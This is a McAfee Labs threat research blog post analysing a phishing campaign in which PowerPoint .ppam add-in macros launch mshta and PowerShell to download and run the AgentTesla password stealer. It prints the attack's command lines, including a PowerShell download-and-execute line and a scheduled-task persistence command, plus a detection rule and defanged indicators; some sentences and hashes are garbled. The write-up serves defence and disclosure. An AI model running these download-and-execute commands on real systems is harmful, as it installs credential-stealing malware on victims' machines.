Malicious PowerPoint Documents on the Rise



Corporate



Home / Other Blogs / McAfee Labs / Malicious PowerPoint Documents on the Rise



McAfee By McAfee Labs on Sep 21, 2021

Authored by Anuradha M

McAfee Labs have observed a new phishing campaign that utilizes macro capabilities available in Microsoft PowerPoint. In this campaign, the spam email comes with a PowerPoint file as an attachment. Upon opening the malicious attachment, the VBA macro executes to deliver variants of AgentTesla which is a well-known password stealer. These spam emails purport to be related to financial transactions.

AgentTesla is a RAT (Remote Access Trojan) malware that has been active since 2014. Attackers use this RAT as MASS(Malware-As-A-Service) to steal $user credentials \ and \ other information \ from \ victims \ through \ screenshots, \ keylogging, \ and \ clipboard \ captures. \ Its \ modus \ operand \ is \ predominantly \ via \ and \ clipboard \ captures.$ phishing campaigns.

During Q2, 2021, we have seen an increase in PowerPoint malware.

Figure 1. The trend of PPT malware over the first half of 2021

In this campaign, the spam email contains an attached file with a .ppam extension which is a PowerPoint file containing VBA code. The sentiment used was finance-related themes such as: "New PO300093 Order" as shown in Figure 2. The attachment filename is "300093.pdf.ppam".

Figure 2. Spam Email

PPAM file:

This file type was introduced in 2007 with the release of Microsoft Office 2007. It is a PowerPoint macro-enabled Open XML add-in file. It contains components that add additional functionality, including extra commands, custom macros, and new tools for extending default PowerPoint functions.

Since PowerPoint supports 'add-ins' developed by third parties to add new features, attackers abuse this feature to automatically execute macros.

Technical Analysis:

Once the victim opens the ".ppam" file, a security notice warning pop-up as shown in Figure 3 to alert the user about the presence of macro.

Figure 3. Warning when opening the attached PowerPoint file

From Figure 4, you can see that the Add-in feature of the PowerPoint can be identified from the content of [Content Types], xml file which will be present inside the ppam file.

Figure 4. Powerpoint add-in feature with macroEnabled

The PPAM file contains the following files and directories which can be seen upon extraction.

- _rels\.rels
- [Content_Types].xml
- ppt\rels\presentation.xml.rels
- ppt\presentation.xml

Once the victim enables the macro, the add-in gets installed silently without user knowledge, which can be seen in Figure 5. On seeing that there is no content and no slide in the PowerPoint, the user will close the file but, in the backend, macro code gets executed to initiate the malicious activity.

Figure 5. Installed Add-ins in the PowerPoint options

As you can see in Figure 6, the macro is executed within the add-in auto open() event i.e., macro is fired immediately after the presentation is opened and the add-in is loaded.

The PowerPoint macro code on execution launches an URL by invoking mshta.exe (Microsoft HTML Application) which is shown in Figure 7. The mshta process is launched by Powerpoint by calling the CreateProcessA() API.

Below are the parameters passed to CreateProcessA() API:

Figure 7. VBA Code snippet containing mshta and url

Below is the command line parameter of mshta:

mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh

The URL hxxps://p8hj[.]blogspot[.]com/p/27.html" but it didn't get any response from "27.html" at the time of analysis.

Later mshta.exe spawns powershell.exe as a child process.

Below is the command line parameters of PowerShell:

 $powershell.exe-"C:\windows\system32\windows\powerShell\nown" i'E'x(iwr('hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt')-useB); i'E'x(iwr('hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt')-useB); i'E'x(iwr('hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt')-useB); i'E'x(iwr('hxxps://ia801403.us$

PowerShell downloads and executed script files from the above-mentioned URLs.

The below Figure 8 shows the content of the first url – "hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt":

Figure 8. Binary file content

There are two binary files stored in two huge arrays inside each downloaded PowerShell file. The first file is an EXE file that acts as a loader and the second file is a DLL file, which is a variant of AgentTesla. PowerShell fetches the AgentTesla payload from the URLs mentioned in the command line, decodes it, and launches MSBuild.exe to inject the payload within itself.

Schedule Tasks:

To achieve persistence, it creates a scheduled task in "Task Scheduler" and drops a task file under C:\windows\system32\SECOTAKSA to make the entire campaign work effectively.

Figure 9. Code snippet to create a new scheduled task

The new task name is "SECOTAKSA". Its action is to execute the command "mshta hxxp:// //1230948%1230948@0v2x.blogspot.com/p/27.html" and it's called every 80 minutes.

Below is the command line parameters of schtasks:

schtasks.exe - "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\"hxxp://1230948%1230948@0v2x.blogspot.com/p/27.html\""

Infection Chain:

Figure 10. Infection Chain

Process Tree:

Figure 11. Process Tree

Mitigation:

McAfee's Endpoint Security (ENS) and Windows Systems Security (WSS) product have DAT coverage for this variant of malware.

This malicious PPAM document with SHA256: fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 is detected as "W97M/Downloader.dkw".

The PPAM document is also blocked by the AMSI feature in ENS as AMSI-FKN!

Additionally, the Exploit Prevention feature in McAfee's Endpoint Security product blocks the infection chain of this malware by adding the below expert rule so as to protect our customers from this malicious attack.

Expert Rule authored based on the below infection chain:

POWERPNT.EXE -> mshta.exe

Expert Rule:

Rule {

Process {

```
Include OBJECT_NAME { -v "powerpnt.exe" }
 Target {
  Match PROCESS {
   Include OBJECT_NAME { -v "mshta.exe" }
   Include PROCESS_CMD_LINE { -v "**http**" }
   Include -access "CREATE"
IOCs
URLs:
hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh
hxxp:////1230948%1230948@0v2x.blogspot.com/p/27.html
hxxps://p8hj[.]blogspot[.]com/p/27.html
hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt
hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt
hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt
EML files:
72e910652ad2eb992c955382d8ad61020c0e527b1595619f9c48bf66cc7d15d3
0afd443dedda44cdd7bd4b91341bd87ab1be8d3911d0f1554f45bd7935d3a8d0
fd887fc4787178a97b39753896c556fff9291b6d8c859cdd75027d3611292253
38188d5876e17ea620bbc9a30a24a533515c8c2ea44de23261558bb4cad0f8cb
PPAM files:
fb 594d 96d 2eaeb 8817086 ae 8dcc 7cc 5bd 1367f 2362fc 2194 aea 8e0 8020 24b 182\\
6c45bd6b729d85565948d4f4deb87c8668dcf2b26e3d995ebc1dae1c237b67c3
9df84ffcf27d5dea1c5178d03a2aa9c3fb829351e56aab9a062f03dbf23ed19b
ad9eeff86d7e596168d86e3189d87e63bbb8f56c85bc9d685f154100056593bd
c22313f7e12791be0e5f62e40724ed0d75352ada3227c4ae03a62d6d4a0efe2d\\
Extracted AgentTesla files:
71b878adf78da89dd9aa5a14592a5e5da50fcbfbc646f1131800d02f8d2d3e99
90674a2a4c31a65afc7dc986bae5da45342e2d6a20159c01587a8e0494c87371
```

About the Author





McAfee Labs

McAfee Labs is one of the leading sources for threat research, threat intelligence, and cybersecurity thought leadership. See our blog for more information.

Read more posts from McAfee Labs >

< Previous Article > Next Article >

Categories: McAfee Labs

Subscribe to McAfee Securing Tomorrow Blogs Email address Subscribe Subscribe United States / English Privacy | Legal Contracts & Terms | Site Map | Copyright ©2020 McAfee, LLC